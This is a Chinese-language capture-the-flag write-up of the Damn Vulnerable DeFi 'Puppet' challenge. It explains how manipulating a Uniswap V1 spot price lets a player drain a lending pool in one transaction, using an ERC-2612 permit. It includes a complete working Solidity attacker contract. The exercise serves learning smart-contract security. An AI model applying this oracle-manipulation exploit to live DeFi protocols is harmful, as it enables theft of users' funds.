damn-vulnerable-defi | Puppet

Challenge #8 - Puppet

为了系统的学习 solidity 和 foundry，我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解，欢迎交流和共建～🎉

合约

PuppetPool：提供 borrow 方法，供用户使用 eth 购买 token，token 的价格来自于 uniswap

测试

部署 DamnValuableToken 合约，部署 UniswapV1Factory UniswapV1Exchange 合约，完成 exchange 的初始化

部署 PuppetPool 合约，传入 DamnValuableToken 和 UniswapV1Exchange 合约

向 UniswapV1Exchange 中提供 token 与 eth 1:1 的流动性

设置 player 和 pool 合约的 token 余额分别为 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE

执行测试脚本

期望 player 的 nonce 为 1，pool 中的 token 余额为 0，player 中的 token 余额大于 POOL_INITIAL_TOKEN_BALANCE

题解

这道题的解题思路和上题类似，在 pool 提供了 borrow 方法中使用了 uniswap 作为 token 的价格预言机，那么我们的攻击思路就是通过操纵 uniswap 中 token 的价格以在 pool 中低价买入 token

本题提供的是 uniswap v1 合约，且题目只给了合约的 abi 和 bytecode，首先整理下 uniswap v1 的接口及我们需要用到的方法

Copy
// 计算卖出token能换出多少eth
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// 计算买入token需要多少eth
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);

完整的攻击流程如下图所示：

第一步通过调用tokenToEthSwapInput 以卖出手中的 token 获得 eth，从而降低在 uniswap 中的 token 价格

第二步在 token 价格降低后，调用lendingPool.borrow 方法，以低价买入 token

第三步再通过调用ethToTokenSwapOutput ，用手中的 eth 买入 token 来恢复 uniswap 中的 token 价格

通过将这三步在一笔交易内完成，player 可以获取 lendingPool 中的全部 token 从而实现攻击目标

在具体实现时，值得注意的是授权步骤，因为题目要求在一笔交易内完成，但是使用 uniswap 又需要 approve，因此涉及从 player 到攻击合约到 uniswap 的三级 approve，在一笔交易内是无法实现的。

但通过看DamnValuableToken 的实现代码，可以看到它实现的 ERC20 协议中包括了拓展的EIP- 2612 LOGIC ，包含的就是 permit 逻辑，即通过用户在链下预签名，再提供到链上进行验证，从而实现了代理 approve 的机制，具体关于 ERC-2612 可以看另一篇文章的介绍

完整的合约代码如下：

Copy
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
DamnValuableToken token;
PuppetPool pool;

receive() external payable{} // receive eth from uniswap

constructor(uint8 v, bytes32 r, bytes32 s,
uint256 playerAmount, uint256 poolAmount,
address _pool, address _uniswapPair, address _token) payable{
pool = PuppetPool(_pool);
token = DamnValuableToken(_token);
prepareAttack(v, r, s, playerAmount, _uniswapPair);
// swap token for eth --> lower token price in uniswap
_uniswapPair.call(abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerAmount,
1,
type(uint256).max
));
// borrow token from puppt pool
uint256 ethValue = pool.calculateDepositRequired(poolAmount);
pool.borrow{value: ethValue}(
poolAmount, msg.sender
);
// repay tokens to uniswap --> recovery balance in uniswap
_uniswapPair.call{value: 10 ether}(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerAmount,
type(uint256).max
)
);
token.transfer(msg.sender, token.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}

function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
// tranfser player token to attacker contract
token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
token.transferFrom(msg.sender, address(this), amount);
token.approve(_uniswapPair, amount);
}
}